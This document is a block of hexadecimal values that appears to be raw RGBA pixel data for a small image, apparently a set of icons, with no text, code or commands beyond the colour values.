75FFE4C475FFE4C475FFE4C475FFE4C475FFE4C475FFE4C475FFE4C475FFE4C4
75FFE4C475FFE3C574FFE7C777FF9F916DFF343434FF343434FF323232FF3333
33FF2F2F2FFF2E2E2EFF2E2E2EFF2E2E2EFF2E2E2EFF2E2E2EFF2E2E2EFF3030
30FF333333FF323232FF323232FF5A5A5AFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5531DCFF6444E0FF6444E0FF6445
E0FF6443E0FF6343E0FF6644E4FF675B9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBEBFFFBFBEBFFFBFBEBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFB4853CFFCB881DFFCD871FFFCC87
1FFFCD881FFFD08511FFB98536FFAC8F68FFAB9067FFC5831FFFCE8515FFCC88
1FFFCC871FFFCD871EFFCC881CFFAC8E5FFF9B6C25FFD4860DFFD1850DFFD186
0DFFD0850CFFD0850CFFD0850CFFD0850CFFD0850CFFD0850CFFD0850CFFD085
0CFFD1860DFFD1850CFFD6880CFF8E734BFF366EC2FF3095FFFF2D8EFFFF1983
FFFFCEF4FFFFB7C8D7FF56759FFFDBE7EEFF9CD3FFFF1E85FFFF2D8FFFFF2D8F
FFFF2D8FFFFF2D8FFFFF3298FFFF52729EFF3849A7FF2B47EBFF2D46E6FF2C46
E5FF2D47E5FF2A3DEDFF4ABD88FF4CC384FF4CC185FF4CC185FF4CC185FF4CC1
85FF4CC185FF4BC085FF4DC788FF5F8674FFAF7E35FFC27B18FFC2801AFFC27C
17FFC07B16FFB5B2A8FF818C9AFF98999EFF98999EFF7B8B9AFFBDAF92FFC47D
17FFC17C17FFC27D19FFC17B15FFA68758FF9D6D29FFCA8212FFC47E14FFC47D
14FFC47E15FFC47E15FFC47E15FFC47E15FFC47E15FFC47E15FFC47E15FFC480
15FFC47D14FFC47E13FFCC8112FF90744BFF3A5BB6FF3168FDFF3266F6FF1F58
F5FFC4D9FFFFAFA9A4FF554D53FFD1CBC1FF97B6FFFF255DF6FF3466F6FF3367
F6FF3367F6FF3166F6FF336AFFFF576A9BFF393DA3FF2D2FD4FF2F31D1FF3032
D1FF3033D1FF2D27DAFF4CAD65FF4EB261FF4EB163FF4EB163FF4EB163FF4DB1
61FF4DB162FF4CB061FF4BB461FF5E866BFFAC7A33FFC07811FFC17910FFBF78
13FFA9B9C7FFC8D7E7FFA79F96FF949295FF929196FFBCAB95FFBDD3E7FFB4BC
C3FFC27A13FFBF7811FFC0780FFFA68757FF6560BDFF706CFFFF6D67FBFF645E
FBFF615CFBFF6762FBFF6F6BFBFF706BFBFF706BFBFF706BFBFF706BFBFF706A
FBFF706AFBFF6F69FBFF716CFFFF6F6D9EFF3848B1FF2C48F9FF2E48F2FF1B38
F1FFC2CFFFFFAE9B89FF563121FFD1C3B0FF94A5FFFF203CF1FF2F49F2FF2F49
F2FF2E49F2FF2D47F2FF2D48FEFF566097FF39309AFF2D1ECDFF301FCAFF3122
C9FF3221CBFF2F15D5FF4EA74EFF4FAC48FF4FAB4AFF4FAB4AFF4FAB4AFF4FAB
4AFF4EAB49FF4DAA48FF4CAD47FF608260FFAB782FFFBD750BFFC2750AFFB7B9
C0FFD5E2F1FFBA6F05FF998260FF8E8D93FF8C8D95FFA47A3EFFC38426FFC0D2
E7FFD4D0CDFFBB6F00FFBE750AFFA68655FF3A34AFFF2D23F1FF2F25ECFFC1BD
F9FFD8D6FBFF9892F5FF2519ECFF3429EDFF3429EDFF3529EDFF3329EDFF3329
EDFF3428EDFF3127EDFF2F26F4FF585498FF4F51B4FF545BFFFF5259F9FF434B
F8FFD4DDFFFFB09073FF581A00FFD2BCA4FFABB4FFFF4950F8FF545BF9FF545B
F9FF535AF9FF5259F9FF555CFFFF616599FF392695FF2E0FC4FF2F12C2FF3212
C3FF3214C3FF2F07CFFF50AD2EFF52B427FF51B228FF51B228FF51B228FF51B2
28FF52B227FF4FB126FF4FB524FF618354FFAB772CFFC07305FFA17B30FF85A4
ABFFC99B55FFBC6C00FFE3CEAEFFB9BABFFFC9CBD1FFDABA8BFFBB6C00FFD6A9
69FF83A2A6FFCA8D52FFBD7101FFA68655FF3833AEFF2019F0FFFFFFFFFF6E68
F2FFE6E5FBFF908CF5FFB6B4F8FF241DECFF2F29EEFF2F29EEFF2F29EEFF2F28
EEFF2E27EEFF2C24EEFF2B24F5FF545398FFBDBAA8FFFFFFEBFFFFFFE4FFFFFF
E6FFFFFFF7FFA0745EFF5E1800FFB89A89FFFFFFF2FFFFFFE5FFFFFFE5FFFFFF
E6FFFFFFE6FFFFFFE5FFFFFFF0FF9E9C93FF3A2492FF2E08C2FF310CC0FF320C
C0FF310DC0FF330FC2FF3104CBFF3104CDFF3104CDFF3104CDFF3104CDFF3002
CBFF3001CCFF2E01CCFF2C00D1FF55478CFFAC782CFFC47704FF887653FFE8E0
EFFFBA7004FFBD6F00FFC0924CFFFFFFFFFFFFFFFFFFB57923FFBF7202FFB96D
03FFAFC5C2FFBD7163FFBE7200FFA88654FF3530B0FF6C67F6FFFFFFFFFF524B
EFFF1008EAFFAFACF7FFFFFFFFFF1E16ECFF3029EEFF312AEEFF312AEEFF3129
EEFF3028EEFF2E26EEFF2B24F5FF555198FF512721FF5D1500FF571200FF5810
00FF581300FF652600FF703310FF642100FF581300FF581300FF581300FF5811
00FF571200FF560F00FF5B0E00FF624C4AFF3A2494FF320CC5FF320DC0FF300E
C0FF320FC2FF320FC1FF320FC2FF320FC2FF320FC2FF320FC2FF330FC2FF310E
C1FF320DC1FF300BC1FF2D08C5FF554988FFAC7A2EFFBF7903FFD9908AFF84AB
D2FFC26D00FFCEAD7DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC69D5FFFC26D
00FF5B9DD9FFC5AD98FFBD6F00FFA88554FF3632B0FF716BF7FF9D99F6FF473F
EFFF2822ECFF4B45EFFFD6D5FAFF221BECFF312AEEFF312AEEFF312AEEFF3129
EEFF3028EEFF2E26EEFF2B24F5FF555198FF68452EFF85491EFF824920FF8146
20FF7B4322FF713413FF6C2D09FF733818FF7A4221FF7B421EFF7B421EFF7B43
1EFF7A411DFF79401BFF80421AFF6F5C50FF422C96FF3309C5FF370FC3FF340D
C1FF310EC0FF3816C2FF310EC1FF3310C2FF3310C2FF3310C2FF3310C2FF310F
C0FF320EC1FF300CC1FF2D09C5FF554988FFAC7A2CFFC37B04FFC3A98AFF5099
D1FFC68317FFBA750BFFAA5D00FFCACED8FFB9AFA1FFB06000FFB46D07FFBD7D
23FF738DA9FFCE9960FFBC7001FFA78655FF3B36B0FF2820F1FFFCFBFEFFFFFF
FFFF6B65F2FFFFFFFFFFA19DF6FF261FECFF2F28EDFF2F28EDFF2F28EDFF2F27
EDFF2E26EDFF2C24EDFF2B25F4FF555398FFBFC4CAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFB29178FF5C1600FFCFBBACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A5FF3F2695FF8E74E0FF4017C7FF4C26
CAFF8B73DDFF3A13C5FF2500BEFF1F00BCFF1E00BAFF1E00BBFF1E00BBFF1E00
BBFF1D00B9FF1C00B9FF1B00BFFF504785FFAE7A2EFFC5820DFFCA8C23FF76B2
EDFF98A796FFCB7B01FFB87D1DFFB3B9C7FF989EADFFC07705FFCE7C05FF82A0
8AFFB3AFE2FFC38312FFC6840DFFA88754FF3833B0FF332AF4FF2E24EDFF9F9B
F7FFADAAF8FF7974F4FF2921EEFF3931EEFF3830EFFF362DEFFF352CEFFF352C
EFFF352DEFFF352DEFFF372EF6FF545098FF2F2EAEFF2A28F7FF2B29F0FF1917
EFFFC0C6FFFFB9946DFF682400FFD8C0A0FF9295FFFF1B19EEFF2825EFFF2826
EFFF2826EFFF2826EFFF2C28FDFF505094FF3B2395FF4B22CEFFB7ABE8FF9178
DEFF390FC5FF3002C3FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A19EFFAE7B2CFFC78710FFC78206FFE1AC
8CFF5677D0FFADDCE9FFBE9D5CFFA48656FFAE9066FFCCA767FF9FC9D5FF6DB3
FAFFD6A355FFC6840AFFC7850FFFA88754FF686ABDFF8383FFFF7E7EFBFF7675
FBFF7576FBFF7879FBFF8182FBFF8182FBFF8182FBFF8182FBFF8183FBFF8183
FBFF8181FBFF7E80FBFF8585FFFF6E6E9FFF403FAEFF4845F9FF4745F2FF3533
F0FFCBD1FFFFB9966FFF6A2500FFD8C0A0FFA2A6FFFF3C3AF1FF4947F2FF4A48
F2FF4846F2FF4746F2FF4947FEFF585895FF3B2094FF6D4BD9FFB5A7E8FFBBAF
EAFF6541D2FF2F00C3FFF9FAFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFAE7B2BFFC8870BFFC9860FFFC584
03FFD99556FF5C9BCFFF56ACF2FF91C3F1FF4E8671FF5AAEF6FF5C9FD2FFD3A7
57FFC68301FFC9860EFFC8870BFFA88752FF89531FFFB96400FFB16100FFB262
00FFB26201FFB26201FFB26201FFB26201FFB26201FFB26201FFB26201FFB262
01FFB26200FFB16100FFBA6400FF806247FF3F3FAEFF4745FAFF4644F3FF3632
F1FFCCD1FFFFBA956AFF6A2300FFD8BF9EFFA3A5FFFF3A38F2FF4846F3FF4846
F3FF4845F3FF4642F3FF4846FFFF595693FF3A1F95FF714DDBFF623CD4FF6945
D6FF6C49D5FF2C00C5FFF9F8FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFFB18034FFD79B34FFD59932FFD69B
33FFD6992DFFDB9420FFD3AD67FFD6A280FFE2B58BFFD9B06EFFD9972AFFD698
2CFFD69B33FFD69A32FFD59932FFAB8A5AFF8C5C32FFBE7B37FFBB7635FFBA78
36FFBC7837FFBC7837FFBC7837FFBC7837FFBC7837FFBC7837FFBC7837FFBC78
37FFBA7836FFBB7735FFBF7935FF8D6E56FF4444BAFF6764FFFF605DFEFF504E
FDFFDBDFFFFFC9A888FF824116FFE5D0B4FFB4B5FFFF5454FDFF6160FEFF615E
FEFF615FFEFF605EFEFF6562FFFF6260A7FF452F9CFF633ED5FF5730D0FF5730
D0FF623FD3FF491FCDFFFDFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBEBFBFFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFC0BFBFFFC1BFBFFFC1C0
C0FFC1C0C0FFC0BEBEFFC0BEBEFFC0BEBEFFC0BEBEFFC0BEBEFFC0BEBEFFC1C0
C0FFC1C0C0FFC1BFBFFFC0BFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF4D8F37FF54C32AFF53BE2AFF54BE
2BFF53BE2CFF53BF2CFF53BF2CFF53BF2CFF53BF2CFF53BF2CFF53BF2CFF53BE
2CFF54BE2BFF53BE2AFF55C42BFF628655FF538423FF5FB008FF5EAC08FF5EAD
09FF52A500FFEBFADDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB3DB88FF57A8
00FF5DAD09FF5EAC09FF60B207FF66804AFF24C6C0FF10FFFFFF11FFFFFF12FF
FFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FFFFFF11FF
FFFF12FFFFFF11FFFFFF0FFFFFFF48A6A2FF267037FF0C922AFF00881BFFD1ED
D5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFD1EDD6FF00881AFF0D9429FF4C7455FF4E8C38FF50B22BFF51AF2CFF51B0
2DFF52B02CFF52B02EFF52B02EFF52B02EFF52B02EFF52B02EFF52B02EFF52B0
2CFF51B02DFF50AF2CFF51B22AFF618554FF568024FF5A9E0AFF5B9D0CFF5C9D
0EFF509600FFE2EDD5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFADCE86FF5499
02FF5C9D0EFF5B9D0CFF5BA00AFF667E48FF24C2C0FF09FFFFFF0CFFFFFF0CFF
FFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFF
FFFF0DFFFFFF0CFFFFFF0AFFFFFF46A7A5FF267235FF0E8B26FF008118FFC4DF
CBFFFFFFFFFFFFFFFFFFFFFFFFFFABD7B4FFA6D2AFFFFFFFFFFFFFFFFFFFFFFF
FFFFC4DFCBFF008118FF0D8D26FF4D7554FF4C8434FF4BA926FF4AA628FF4DA7
29FF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA72AFF4CA7
2AFF4BA729FF4AA627FF4AAA26FF5F8052FF537824FF59950AFF5A960DFF5B95
0EFF4E8E00FFE1EAD4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFACC985FF5291
03FF5B950EFF58940DFF5A970AFF647949FF24BDBCFF0BFFFFFF0DFFFFFF0FFF
FFFF0FFFFFFF0EFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0EFFFFFF0FFF
FFFF0EFFFFFF0DFFFFFF09FFFFFF48A2A1FF257033FF0C8924FF008017FFC4DE
C9FFFFFFFFFFB4D8BAFFA6D3AEFF6AB779FF8CC697FFF9FCFAFFD6EAD9FFFFFF
FFFFC4DFC9FF008016FF0C8B24FF4A7453FF5D8B4CFF6AB54EFF6AB34EFF6BB3
50FF6BB350FF6BB350FF71B650FF7DBD50FF7DBD50FF71B650FF6BB350FF6BB3
50FF6CB350FF69B34EFF6CB74EFF6A845FFF537324FF588F0AFF598F0DFF5A90
0EFF4D8800FFE1EAD4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFADC686FF518B
03FF5A8F0EFF578E0CFF579109FF647649FF24BBB9FF0AFFFFFF0DFFFFFF0DFF
FFFF0FFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0EFFFFFF0FFF
FFFF0EFFFFFF0BFFFFFF0AFFFFFF49A09FFF256F32FF098822FF007D15FFC7DF
CCFFF7FAF8FF1D8F30FF1D9032FF1F8F32FF0F8824FF0D8723FF59AC65FFFFFF
FFFFC5DECAFF007D14FF0A8A21FF497351FFC2BEC4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFE7F0FFFF3A8FFFFF3D8FFFFFE9F1FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A0A3FF537225FF588D09FF578C0DFF588D
0DFF4D8500FFE1E9D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABC486FF5188
03FF588D0EFF588C0CFF588E09FF637549FF25B9B9FF09FFFFFF0DFFFFFF0DFF
FFFF0EFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0FFF
FFFF0EFFFFFF0CFFFFFF09FFFFFF499E9EFF256F32FF098821FF007D12FFC4DD
C8FFFFFFFFFFC3E0C7FF389C49FF259339FF2C963DFF379C49FF95C99CFFFFFF
FFFFC4DDC8FF007D13FF098920FF497350FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF2E88FAFF1D7CFBFF1C7CFBFF358CF9FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF537224FF5C910CFF598D0DFF578D
0EFF4D8500FFE1E9D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABC486FF5188
03FF598E0EFF588D0CFF588E09FF637549FF20BEB9FF01FFFFFF02FFFFFF00FF
FFFF0FFFFFFF03FFFFFF04FFFFFF01FFFFFF00FFFFFF09FFFFFF10FFFFFF0FFF
FFFF0EFFFFFF0CFFFFFF09FFFFFF499E9EFF247033FF0C8C26FF008014FFC4DD
C8FFFFFFFFFFEFF6F0FF56AA63FF29953BFF389D49FF319943FFD5E8D7FFFFFF
FFFFC4DDC8FF007D13FF098920FF497350FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF3189F9FF1C7CFBFF1C7BFBFF368DF9FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF557225FF5F950EFF5F9311FF5F92
11FF4D8300FFE1E9D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFABC486FF5188
03FF598E0EFF588D0CFF588E09FF637549FF8C83C4FF943877FF950000FFD55F
4CFF0049FFFFAE5E98FF870000FFC14E40FFC9AAFFFF55AFE5FF09FFFFFF0FFF
FFFF0EFFFFFF0CFFFFFF09FFFFFF499E9EFF257033FF0E8F28FF00861CFFC5DF
CAFFFFFFFFFFFAFCFBFF0D8622FF3E9F4FFF1B8D2EFF138A27FFF8FAF8FFFFFF
FFFFC4DDC8FF007D13FF098920FF497350FFC6BFB9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF0F5FEFF4897FAFF4997FAFFF4F8FEFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A19EFF567525FF62960FFF639412FF6496
14FF588E03FFE2EBD6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAAC386FF5187
03FF578C0DFF568B0BFF588F09FF637549FF792A20FFD0AFC1FF978CF2FFD59A
93FF002AFFFFB595B8FFC9A9C3FF958AF0FF981B17FF4C7164FF09FFFFFF0EFF
FFFF0DFFFFFF0BFFFFFF09FFFFFF499E9EFF257235FF0F912BFF01891FFFC6E0
CBFFFFFFFFFFFFFFFFFF6AB576FF47A355FF2F9841FF70B87BFFFFFFFFFFFFFF
FFFFC4DDC8FF007C11FF098A20FF497350FF3870B8FF3692FEFF3892FAFF3792
FBFF3892FBFF3892FBFF3D94FBFF4A9BFCFF4A9BFAFF3B93FAFF368FFAFF358F
FAFF3691FAFF3691FAFF3594FFFF54739DFF567526FF659A10FF669813FF6799
16FF5C9105FFE3ECD7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB0CA8AFF5C90
09FF649614FF649712FF689D0FFF647649FF5F63C4FF6A68FFFF6FBEFFFF896A
DEFF695B4CFF8F5EA6FF6B95FFFF7298FFFF756DFFFF47BAFFFF10FFFFFF15FF
FFFF14FFFFFF12FFFFFF0FFFFFFF499E9EFF267235FF10952FFF028B22FFC6E0
CCFFFFFFFFFFFFFFFFFFB6DCBCFF43A655FF35A049FFFFFFFFFFFFFFFFFFFFFF
FFFFC6E0CCFF018A22FF0F972FFF497353FF336DB8FF2D8FFFFF2F8EFCFF308E
FCFF318FFCFF318FFCFF318FFCFF318FFCFF318FFCFF318FFCFF318FFCFF328F
FCFF308EFCFF2E8DFCFF2D91FFFF50719DFF577725FF699C10FF689A13FF6999
15FF5D9304FFE4EBD7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4CB8BFF6196
0AFF699A15FF689A13FF6B9D0FFF647549FF5960C7FF6973FFFF639DFFFF8160
D9FF529A7CFF8563A7FF6788FFFF678CFFFF6C68FFFF43B8FFFF12FFFFFF16FF
FFFF15FFFFFF13FFFFFF0FFFFFFF499E9EFF257235FF109731FF028D24FFC6E1
CDFFFFFFFFFFFFFFFFFFFFFFFFFF57B068FF6FBB7CFFFFFFFFFFFFFFFFFFFFFF
FFFFC6E1CDFF028D24FF0F9830FF497451FF336EB8FF2E93FFFF3090FCFF3192
FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291FCFF3291
FCFF3190FCFF2F91FCFF2E94FFFF50719CFF577523FF699C0BFF699C0EFF6A9B
10FF5F9400FFE4EED6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4CD88FF6296
06FF6A9C10FF699A0EFF6B9E0AFF647547FF7A261FFF865AB6FFBCB4FBFFF7BB
9BFF003FFFFFB98EBEFF9C80D0FFC5B7E6FFB72E15FF56766DFF09FFFFFF10FF
FFFF0FFFFFFF0DFFFFFF0AFFFFFF479D9DFF237334FF0B972FFF008E22FFC6E1
CDFFFFFFFFFFFFFFFFFFFFFFFFFFC9E7CFFFDFF0E2FFFFFFFFFFFFFFFFFFFFFF
FFFFC6E1CDFF008E21FF0A9930FF477452FF3D74BFFF4DA1FFFF4B9DFEFF4C9E
FEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9EFEFF4C9E
FEFF4C9EFEFF4B9DFEFF4BA0FFFF5D80ACFF5D7B30FF80AB33FF7AA731FF7CA8
33FF72A124FFEAF1DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBED399FF75A3
29FF7AA833FF7BA731FF7DA932FF708355FF7D85C9FFD5A9ABFF9D221BFFD182
71FF2165FFFFB68EB0FF9F1F11FFA15F80FFBDBBFFFF84D1E3FF2DFFFFFF34FF
FFFF33FFFFFF32FFFFFF32FFFFFF55ACACFF30783EFF33A64EFF229B3FFFD4EB
D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFD3EBD8FF229B3FFF32A54CFF55815DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
